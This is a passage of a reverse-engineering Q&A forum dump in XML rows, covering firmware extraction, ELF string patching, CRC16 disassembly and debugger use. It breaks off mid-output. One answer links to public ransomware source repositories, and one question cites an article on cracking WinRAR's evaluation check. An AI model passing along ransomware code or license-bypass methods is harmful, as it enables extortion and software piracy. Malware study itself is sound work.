  <row Id="25933" PostTypeId="2" ParentId="25927" CreationDate="2020-09-20T01:20:37.820" Score="0" Body="&lt;p&gt;Try running the following from the command line:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;cscript /x .\malwaresample.vbs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That should open it up in Visual Studios and allow you to step through it.&lt;/p&gt;&#xA;" OwnerUserId="34449" LastActivityDate="2020-09-20T01:20:37.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25934" PostTypeId="2" ParentId="22422" CreationDate="2020-09-20T02:18:12.010" Score="0" Body="&lt;p&gt;I now have a working schematic and implementation for the NI file container, blocks, and decompressor. I still cannot interpret data blocks (basically variables in the packer), I'd love some help or discussion there. I understand basic things about &lt;code&gt;DSIN&lt;/code&gt; blocks but not sure how the values relate to the data itself.&lt;/p&gt;&#xA;&lt;p&gt;I've put my findings up at &lt;a href=&quot;https://github.com/monomadic/ni-decompressor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/monomadic/ni-decompressor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This works with many NI files, not just massive, but I've been focusing on kontakt. I can also read monoliths but they are an entirely different format, but they look like they're easier.&lt;/p&gt;&#xA;&lt;p&gt;I've pre-decompressed some compressed segments and dumped the decompressed section if you're just interested in those (though they won't read in kontakt, massive etc as they don't have the wrapper around them) in the &lt;code&gt;/examples&lt;/code&gt; directory, with the extension .deflate&lt;/p&gt;&#xA;" OwnerUserId="34360" LastEditorUserId="34360" LastEditDate="2020-09-20T02:30:54.603" LastActivityDate="2020-09-20T02:30:54.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25937" PostTypeId="2" ParentId="77" CreationDate="2020-09-20T14:17:50.000" Score="-1" Body="&lt;p&gt;.NET assemblies (.exe and .dll) can be decompiled online at &lt;a href=&quot;http://decompiler.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decompiler.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The author is affiliated with the mentioned website it appears (username: &lt;a href=&quot;http://www.Decompiler.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.Decompiler.com&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="34452" LastEditorUserId="245" LastEditDate="2020-09-28T19:47:30.267" LastActivityDate="2020-09-28T19:47:30.267" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25938" PostTypeId="1" CreationDate="2020-09-20T15:46:33.467" Score="0" ViewCount="582" Body="&lt;p&gt;I've got a cloud-based battery powered camera which I'm really hoping to get &lt;em&gt;out&lt;/em&gt; of the cloud with, in order to enable RTSP or ONVIF (or something local!).&lt;/p&gt;&#xA;&lt;p&gt;I've managed to get a .bin file. Binwalk allowed me to get an .img file, and there are many interesting strings from this file. It appears to at least have a filesystem of sorts:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;3213849       0x310A19        Certificate in DER format (x509 v3), header length: 4, sequence length: 5380&#xA;4199041       0x401281        Certificate in DER format (x509 v3), header length: 4, sequence length: 13692&#xA;5097905       0x4DC9B1        Certificate in DER format (x509 v3), header length: 4, sequence length: 5380&#xA;5184988       0x4F1DDC        Base64 standard index table&#xA;5191688       0x4F3808        Unix path: /home/sound/warning.wav&#xA;5195472       0x4F46D0        Unix path: /home/sound/login.wav&#xA;5196188       0x4F499C        Unix path: /home/sound/restart.wav&#xA;5213511       0x4F8D47        HTML document header&#xA;5213544       0x4F8D68        HTML document footer&#xA;5213635       0x4F8DC3        HTML document header&#xA;5213676       0x4F8DEC        HTML document footer&#xA;5213811       0x4F8E73        HTML document header&#xA;5213995       0x4F8F2B        HTML document footer&#xA;5217731       0x4F9DC3        HTML document header&#xA;5217938       0x4F9E92        HTML document footer&#xA;5218791       0x4FA1E7        HTML document header&#xA;5219471       0x4FA48F        HTML document footer&#xA;5220243       0x4FA793        HTML document header&#xA;5220367       0x4FA80F        HTML document footer&#xA;5221348       0x4FABE4        XML document, version: &amp;quot;1.0&amp;quot;&#xA;5242268       0x4FFD9C        SHA256 hash constants, little endian&#xA;5264636       0x5054FC        SHA256 hash constants, little endian&#xA;5275136       0x507E00        PEM certificate&#xA;5280492       0x5092EC        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/kernel/base/core/los_task.c&#xA;5283112       0x509D28        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/kernel/base/mem/mem_bestfit/los_memory.c&#xA;5284576       0x50A2E0        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/kernel/base/ipc/los_mux.c&#xA;5292128       0x50C060        Unix path: /usr/local/etc/zoneinfo&#xA;5292980       0x50C3B4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/lib/libc/src/time/time64.c&#xA;5294084       0x50C804        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/compat/posix/src/pthread_mutex.c&#xA;5294948       0x50CB64        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/vfs/inode/fs_inode.c&#xA;5295300       0x50CCC4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/vfs/driver/fs_blockproxy.c&#xA;5298224       0x50D830        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/vfs/bch/src/bchlib_sem.c&#xA;5482780       0x53A91C        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/fs.c&#xA;5483508       0x53ABF4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/readinode.c&#xA;5486632       0x53B828        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/write.c&#xA;5487060       0x53B9D4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/include/debug.h&#xA;5487516       0x53BB9C        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/nodelist.c&#xA;5489184       0x53C220        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/scan.c&#xA;5490792       0x53C868        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/nodemgmt.c&#xA;5491300       0x53CA64        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/gc.c&#xA;5505972       0x5403B4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/platform/bsp/board/hi3518ev300/include/hisoc/i2c.h&#xA;5520924       0x543E1C        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/platform/bsp/board/hi3518ev300/include/hisoc/spi.h&#xA;5521580       0x5440AC        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/platform/bsp/board/hi3518ev300/include/hisoc/uart.h&#xA;5533124       0x546DC4        eCos RTOS string reference: &amp;quot;ECOST  CPUUSE   CPUUSE10s   CPUUSE1s   mode&amp;quot;&#xA;5617488       0x55B750        Unix path: /home/cfg/random_para.txt&#xA;5668808       0x567FC8        CRC32 polynomial table, little endian&#xA;6026720       0x5BF5E0        CRC32 polynomial table, little endian&#xA;6077286       0x5CBB66        TIFF image data, big-endian, offset of first image directory: 8&#xA;6078744       0x5CC118        TIFF image data, big-endian, offset of first image directory: 8&#xA;6086620       0x5CDFDC        CRC32 polynomial table, little endian&#xA;6122272       0x5D6B20        Unix path: /home/nie/pro/v103/trunk/libAACenc/src/aacenc_lib.cpp&#xA;6125288       0x5D76E8        Unix path: /home/nie/pro/v103/trunk/libMpegTPEnc/src/tpenc_lib.cpp&#xA;6125413       0x5D7765        Copyright string: &amp;quot;copyright law and international treaties.&amp;quot;&#xA;6136076       0x5DA10C        Unix path: /home/nie/pro/v103/trunk/libFDK/include/fixpoint_math.h&#xA;6136840       0x5DA408        Unix path: /home/nie/pro/v103/trunk/libAACenc/src/quantize.cpp&#xA;6139780       0x5DAF84        Unix path: /home/nie/pro/v103/trunk/libAACenc/src/transform.cpp&#xA;6151760       0x5DDE50        Unix path: /home/nie/pro/v103/trunk/libFDK/src/FDK_tools_rom.cpp&#xA;6168775       0x5E20C7        Copyright string: &amp;quot;copyright holder(s) nor the&amp;quot;&#xA;6169280       0x5E22C0        Copyright string: &amp;quot;copyright&amp;quot;&#xA;6169415       0x5E2347        Copyright string: &amp;quot;copyright&amp;quot;&#xA;6169908       0x5E2534        Copyright string: &amp;quot;Copyright (c) 2003-2014, Jouni Malinen &amp;lt;j@w1.fi&amp;gt; and contributors&amp;quot;&#xA;6230532       0x5F1204        Neighborly text, &amp;quot;Neighboring BSS: freq=%dd&amp;quot;&#xA;6238636       0x5F31AC        Neighborly text, &amp;quot;neighboring BSSes ret=%d (%s) - try to scan again (attempt %d)&amp;quot;&#xA;6239601       0x5F3571        Neighborly text, &amp;quot;neighboring BSSes prior to enabling 40 MHz channelquest a scan of neighboring BSSes ret=%d (%s) - try to scan again&amp;quot;&#xA;6239680       0x5F35C0        Neighborly text, &amp;quot;neighboring BSSes ret=%d (%s) - try to scan againequest a scan of neighboring BSSes ret=%d (%s)&amp;quot;&#xA;6239760       0x5F3610        Neighborly text, &amp;quot;neighboring BSSes ret=%d (%s)rdware channel/rate support not supported.&amp;quot;&#xA;6240780       0x5F3A0C        Neighborly text, &amp;quot;Neighboring BSS: %02x:%02x:%02x:%02x:%02x:%02x freq=%d pri=%d sec=%dec=%d&amp;quot;&#xA;6287708       0x5FF15C        SHA256 hash constants, little endian&#xA;6295380       0x600F54        Base64 standard index table&#xA;6302508       0x602B2C        Unix path: /home/ywx389445/z_ss/a_spc010/c_sdk/source/wifi_project/drv/sdio_hi1131sv100/hi1131_driver/driver/platform/inc/oal/liteos/arch/o&#xA;6302796       0x602C4C        Unix path: /home/ywx389445/z_ss/a_spc010/c_sdk/source/wifi_project/drv/sdio_hi1131sv100/hi1131_driver/driver/platform/inc/oal/liteos/arch/o&#xA;6435024       0x6230D0        CRC32 polynomial table, little endian&#xA;6439120       0x6240D0        CRC32 polynomial table, big endian&#xA;6448960       0x626740        CRC32 polynomial table, little endian&#xA;6450040       0x626B78        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/compat/linux/src/completion.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the file:&#xA;&lt;a href=&quot;https://drive.google.com/file/d/1mtbAi90BkNAlZ1O501q4dSIY4sRY7xP9/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1mtbAi90BkNAlZ1O501q4dSIY4sRY7xP9/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2022-06-17T21:07:15.740" Title="Need help opening a .img file from a camera firmware (trying to get out of the Meari/Zumimall/PPstrong cloud!)" Tags="|firmware|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25940" PostTypeId="1" CreationDate="2020-09-20T18:34:43.103" Score="0" ViewCount="141" Body="&lt;p&gt;One of the fields of the PE export table is the image name, see screenshot below for an example.&lt;/p&gt;&#xA;&lt;p&gt;This name is part of the file, even though I can rename it to any other name after it's compiled.&lt;/p&gt;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why is it needed?&lt;/li&gt;&#xA;&lt;li&gt;When is this name used?&lt;/li&gt;&#xA;&lt;li&gt;What are the implications of this name and the file name going out of sync? Does it matter?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ziXFQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ziXFQ.png&quot; alt=&quot;example export table&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8546" LastActivityDate="2020-09-20T18:34:43.103" Title="Module name in the export table of a PE image" Tags="|windows|pe|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25941" PostTypeId="1" CreationDate="2020-09-20T19:25:27.363" Score="2" ViewCount="237" Body="&lt;p&gt;I want to have only one APK that contains all files and resources without having to download expansion pack every time.&lt;br/&gt;&#xA;Is there any way to combine Android APK with Expansion pack file?&lt;br/&gt;&#xA;My expansion pack format is main.build-version.package-name &lt;br/&gt;&#xA;The reason I want to do this is because decompiler fails to find some resource files and the apk has expansion pack which adds some files after its installation so I need to have all resources and files in one place.&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2021-12-30T15:04:00.350" Title="Any ways to combine Android APK with Expansion pack file?" Tags="|decompilation|android|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25943" PostTypeId="1" CreationDate="2020-09-21T09:38:45.637" Score="0" ViewCount="1363" Body="&lt;p&gt;I have 2 ELF files here, each containing strings in the &amp;quot;.rodata&amp;quot; for an translation that I want to modify.&#xA;The first ELF &amp;quot;(binary1)&amp;quot; I have already successfully modified from Chinese to German.&#xA;The second ELF &amp;quot;(binary2)&amp;quot; has a slightly different structure.&#xA;In my first ELF file &amp;quot;(binary1)&amp;quot;, which I successfully modified, the pointers for the respective strings were in the &amp;quot;.data.rel.ro&amp;quot; part.&#xA;So with a short C# code I could output the strings.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    static int start_data_rel_ro = 0x1708; &#xA;    static int end_data_rel_ro = 0x1A3CF; &#xA;&#xA;&#xA;    static void binToConsole(string inputFile)&#xA;    {&#xA;        var data = getData(inputFile);&#xA;        &#xA;        for (int i = start_data_rel_ro; i &amp;lt; end_data_rel_ro;)&#xA;        {&#xA;                var line = &amp;quot;&amp;quot;;&#xA;&#xA;                    var addr = BitConverter.ToInt32(new byte[] { data[i], data[i + 1], data[i + 2], data[i + 3],0,0,0,0 },0);&#xA;                        i += 4;                        &#xA;                    List&amp;lt;byte&amp;gt; textData = new List&amp;lt;byte&amp;gt;();&#xA;                    do&#xA;                    {&#xA;                        textData.Add(data[addr] == 10 ? ((byte)0x7C) : data[addr]);&#xA;                        addr++;&#xA;                    } while (data[addr] != 0);&#xA;                    line = System.Text.Encoding.UTF8.GetString(textData.ToArray());&#xA;                Console.WriteLine(line);&#xA;        }          &#xA;    }&#xA;  &#xA;    static byte[] getData(string path)&#xA;    {&#xA;        byte[] data;&#xA;&#xA;        using (var file = File.OpenRead(path))&#xA;        using (var ms = new MemoryStream())&#xA;        {&#xA;            file.CopyTo(ms);&#xA;            data = ms.ToArray();                &#xA;        }&#xA;&#xA;        return data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the &amp;quot;(binary1)&amp;quot; I already have a finished program which stores the strings in a CSV and afterwards inserts the CSV back into the &amp;quot;(binary1)&amp;quot; and patches the pointers. So I can make a string longer if I make a string shorter somewhere else.&lt;/p&gt;&#xA;&lt;p&gt;Here is an excerpt of my previous file, which I have processed successfully&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;.rodata&lt;/strong&gt; contains all strings:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Q4YEI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q4YEI.png&quot; alt=&quot;rodata_example&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;.data.rel.ro&lt;/strong&gt; contains all pointers to the strings:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zmIYY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zmIYY.png&quot; alt=&quot;data.rel.ro_example&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but the new file &amp;quot;(binary2)&amp;quot; I want to edit now looks a bit different.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;.rodata&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1s7NN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1s7NN.png&quot; alt=&quot;rodata&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;.data.rel.ro&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hZlx3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hZlx3.png&quot; alt=&quot;data.rel.ro&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My C# code can't work in the second ELF, because it's a bit different. Unfortunately I don't know what to do. Maybe someone has an approach for me, so I can write a new little tool.&lt;/p&gt;&#xA;&lt;p&gt;Here is a download link to the &amp;quot;(binary2)&amp;quot;: &lt;a href=&quot;https://drive.google.com/file/d/12vr-zcTnC3TzCIuvZ9Yt19lbb6dkEFdl/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/12vr-zcTnC3TzCIuvZ9Yt19lbb6dkEFdl/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28060" LastEditorUserId="28060" LastEditDate="2020-09-22T08:09:30.720" LastActivityDate="2020-09-22T08:09:30.720" Title="Modify Strings in a ELF (Executable and Linking Format) that are stored in the .rodata" Tags="|binary-analysis|elf|binary|c#|binary-editing|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25945" PostTypeId="1" CreationDate="2020-09-21T10:52:54.760" Score="2" ViewCount="202" Body="&lt;p&gt;Before that I asked about piece of code that used in this algorithm (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/25824/the-c166-family-code-meaning&quot;&gt;here&lt;/a&gt;). Now I have a bit problem with the rest of algorithm.&#xA;So I have to describe this with detail. Sorry if i vast your time for read it.&lt;br /&gt;&#xA;I have shown an algorithm below. It seems is a CRC16 algorithm.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CRC_16_Calculate:                       &#xA;                                        &#xA;                mov     [-r0], r9&#xA;                mov     [-r0], r8&#xA;                mov     [-r0], r7&#xA;                mov     [-r0], r6&#xA;                mov     r9, r12&#xA;                mov     r8, r15&#xA;                jmpr    cc_UC, loc_29D6&#xA;; ---------------------------------------------------------------------------&#xA;&#xA;loc_29A4:                               &#xA;                mov     r4, r13&#xA;                mov     r5, r14&#xA;                add     r13, #1&#xA;                addc    r14, #0&#xA;                exts    r5, #1&#xA;                movb    rl3, [r4]&#xA;                movbz   r7, rl3&#xA;                movb    rl6, #0&#xA;&#xA;loc_29B4:                               &#xA;                mov     r4, r9&#xA;                xor     r4, r7&#xA;                and     r4, #1&#xA;                jmpr    cc_Z, loc_29C8&#xA;                mov     r4, r9&#xA;                shr     r4, #1&#xA;                xor     r4, #0A001h&#xA;                mov     r9, r4&#xA;                jmpr    cc_UC, loc_29CA&#xA;; ---------------------------------------------------------------------------&#xA;&#xA;loc_29C8:                               &#xA;                shr     r9, #1&#xA;&#xA;loc_29CA:                               &#xA;                shr     r7, #1&#xA;                addb    rl6, #1&#xA;                cmpb    rl6, #8&#xA;                jmpr    cc_C, loc_29B4&#xA;                sub     r8, #1&#xA;&#xA;loc_29D6:                               &#xA;                cmp     r8, #0&#xA;                jmpr    cc_UGT, loc_29A4&#xA;                mov     r4, r9&#xA;                mov     r6, [r0+]&#xA;                mov     r7, [r0+]&#xA;                mov     r8, [r0+]&#xA;                mov     r9, [r0+]&#xA;                rets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you see in below I converted that to C++ code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;static uint16_t intCrc16(uint8_t* cBuffer)&#xA;{&#xA;    uint16_t wPreset = 0xFFFF;&#xA;    uint16_t iBufLen = 6;&#xA;    uint16_t temp = 0;&#xA;    while (iBufLen--)&#xA;    {&#xA;        temp = *cBuffer++;&#xA;        for (uint8_t j = 0; j &amp;lt; 8; ++j)&#xA;        {&#xA;            if ((wPreset ^ temp) &amp;amp; 0x01) wPreset = (wPreset &amp;gt;&amp;gt; 1) ^ 0xA001;&#xA;            else wPreset &amp;gt;&amp;gt;= 1;&#xA;            temp &amp;gt;&amp;gt;= 1;&#xA;        }&#xA;    }&#xA;    return wPreset;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems everything is good but the problem appear right here. The main loop of this function run for 6 times(&lt;code&gt;iBufLen&lt;/code&gt;) but&#xA;the input argument(&lt;code&gt;cBuffer&lt;/code&gt;) length is always 4 Bytes. To prove this point we check where this algorithm invoked. Look at below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov     r13, r4&#xA;mov     r14, r5&#xA;mov     r15, #6&#xA;calls   0, CRC_16_Calculate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you see, &lt;code&gt;r13&lt;/code&gt; and &lt;code&gt;r14&lt;/code&gt; are input argument as &lt;code&gt;cBuffer&lt;/code&gt; and &lt;code&gt;r15&lt;/code&gt; equivalent to &lt;code&gt;iBufLen&lt;/code&gt;.&#xA;So, what's my mistake?&#xA;By the way, &lt;code&gt;r4&lt;/code&gt; and &lt;code&gt;r5&lt;/code&gt; are the returned value of function that I pointed (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/25824/the-c166-family-code-meaning&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="31110" LastEditorUserId="31110" LastEditDate="2020-09-26T05:28:34.647" LastActivityDate="2020-09-26T05:28:34.647" Title="CRC16 Reverse in C166 Arch" Tags="|ida|disassembly|static-analysis|crc|c166|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25947" PostTypeId="2" ParentId="25885" CreationDate="2020-09-21T15:44:40.583" Score="0" Body="&lt;p&gt;Here are some links you may find helpful:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/goliate/hidden-tear&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/goliate/hidden-tear&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mauri870/ransomware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mauri870/ransomware&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://webcourse.cs.technion.ac.il/236499/Spring2018/comp/WCFiles/Projects-in-Ransomware-2018-spring-v02.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDF&lt;/a&gt;, containing some interesting links&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can also look for MSIL binaries, deobfuscate using &lt;a href=&quot;https://github.com/0xd4d/de4dot&quot; rel=&quot;nofollow noreferrer&quot;&gt;de4dot&lt;/a&gt; and decompile using &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt;. If sample is not strongly protected, you will get output as readable as the source code.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-09-21T15:44:40.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25951" PostTypeId="1" CreationDate="2020-09-22T09:18:20.130" Score="0" ViewCount="267" Body="&lt;p&gt;I have a program that hangs at start on my Window 10 system but runs ok on a VM running a vanilla Windows 10 system.&#xA;Using x64dbg I get to an error where it states a DLL is not found.&#xA;I have been trying to find out what the name of the missing DLL is.&#xA;I have tried to find a dependency tool but failed that so am trying to use x64dbg but am having difficulty trying to find the name of the DLL that is not finding.&#xA;Can someone either point me to a good dependency tool or give me a path of steps I can follow to get the DLLs name from x64dbg.&lt;/p&gt;&#xA;" OwnerUserId="34463" LastActivityDate="2020-09-22T09:18:20.130" Title="x64dbg how to find name of DLL not found" Tags="|dll|windows-10|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25952" PostTypeId="1" CreationDate="2020-09-22T12:49:28.487" Score="0" ViewCount="198" Body="&lt;p&gt;I was reading this &lt;a href=&quot;https://mushu27.github.io/cracking/software/patching/assembly/reverse/engineer/2018/09/29/patch-winrar.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; Where I saw that while reversing the WinRAR I saw that the x64dbg is not able to search for a string in all modules &amp;quot;evaluation copy&amp;quot;. but why is that happening. is the binary not containing this string? and then the author has used the Resource Hacker to search for the string. and he gets the string. but how? what is resource doing that the disassembler isn't? And one more question, what is that constant &amp;quot;&lt;code&gt;873&lt;/code&gt;&amp;quot;. why does it has the value of the string?&#xA;Please if someone knows, tell me.&lt;/p&gt;&#xA;" OwnerUserId="33863" LastActivityDate="2020-09-22T12:49:28.487" Title="String as constant , even not visible in disassembler" Tags="|windows|binary-analysis|x64dbg|disassemblers|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25953" PostTypeId="1" AcceptedAnswerId="25958" CreationDate="2020-09-22T18:19:45.483" Score="1" ViewCount="311" Body="&lt;p&gt;I have read that TEST does a bitwise and on the two arguments. I have also read that jz and je are both equivalent, and jump if the zero flag is set. So here's the problem I'm struggling with. Consider the (rather useless) following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov ax, 0x2&#xA;test ax, 0x2&#xA;je equal&#xA;mov ax, 0x0&#xA;jmp done&#xA;equal:&#xA;mov ax, 0x1&#xA;done:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Logically, &amp;quot;jump if equal&amp;quot; should jump, but 0x2 &amp;amp; 0x2 should not set the zero flag. As I understand jz/je will jump if the zero flag is set, this means je is not logically doing what it implies (&amp;quot;jump if equal&amp;quot;). And in practice, the code will fall through and set ax to 0x0, rather than jumping and setting ax to 0x1.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone explain where my understanding is going wrong? Clearly I'm not understanding something correctly.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="24554" LastActivityDate="2020-09-23T10:31:30.307" Title="Help understanding x64 TEST instruction" Tags="|assembly|x86-64|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25954" PostTypeId="2" ParentId="3850" CreationDate="2020-09-22T19:11:28.150" Score="1" Body="&lt;p&gt;since this has nothing to do with original query and&lt;br /&gt;&#xA;is an experiment of sorts with the labeller windbg extension that i edited in in my first answer&lt;br /&gt;&#xA;i am adding this as a new answer and not editing my original answer&lt;br /&gt;&#xA;since the question of performance of AddSyntheticSymbol for bulk Addition Came up i cooked up a small 6 figure long windbg script file that i could use to test the performance&lt;/p&gt;&#xA;&lt;p&gt;it appears there is a logarithmic increase in the time required to add symbols&lt;br /&gt;&#xA;if windbg could add 500 symbols in 11 seconds on the first round&lt;br /&gt;&#xA;it would take 13 seconds for next 500 and&lt;br /&gt;&#xA;16 seconds for the third round of 500 symbols&lt;br /&gt;&#xA;i cut off the test when i added the 20 th round of symbols it took about 50 seconds to load the symbols 9500 to 10000&lt;/p&gt;&#xA;&lt;p&gt;here is the small python script to cook up a windbg scriptfile&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;buff = []&#xA;j=0&#xA;k=1&#xA;for i in range(0,100000,1):&#xA;    j=j+1&#xA;    buff.append(&amp;quot;!label str_%s %08x 1 xul\n&amp;quot; % ( str(i).rjust(8,'0') , i ) )&#xA;    if(j == 500):&#xA;        buff.append(&amp;quot;%s %d symbols added\n&amp;quot; % (&amp;quot;.echotime;.echo &amp;quot;,j*k))&#xA;        j = 0&#xA;        k = k+1&#xA;with open (&amp;quot;lab100k.txt&amp;quot;,&amp;quot;w&amp;quot;) as txt:&#xA;    txt.writelines(buff) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this creates a file with 100200 windbg commands that uses !label extcmd&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;wc -l lab100k.txt&#xA;100200 lab100k.txt&#xA;&#xA;grep -c echotime lab100k.txt&#xA;200&#xA;&#xA;tail -n 3 lab100k.txt&#xA;!label str_00099998 0001869e 1 xul&#xA;!label str_00099999 0001869f 1 xul&#xA;.echotime;.echo  100000 symbols added&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;loaded the label extension and executed this windbg script and cut it off after labelling 10000 address the timeframe isas follows&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:021&amp;gt; $$&amp;gt;a&amp;lt; lab100k.txt&#xA;Debugger (not debuggee) time: Tue Sep 22 23:58:52.053 2020 &#xA;500 symbols added&#xA;Debugger (not debuggee) time: Tue Sep 22 23:59:03.468 2020 &#xA;1000 symbols added&#xA;Debugger (not debuggee) time: Tue Sep 22 23:59:16.983 2020 &#xA;1500 symbols added&#xA;Debugger (not debuggee) time: Tue Sep 22 23:59:32.546 2020 &#xA;2000 symbols added&#xA;Debugger (not debuggee) time: Tue Sep 22 23:59:50.225 2020 &#xA;2500 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:00:10.133 2020 &#xA;3000 symbols added&#xA;Debugger (not debuggee) time: Wed Sep 23 00:00:32.502 2020 &#xA;3500 symbols added&#xA;Debugger (not 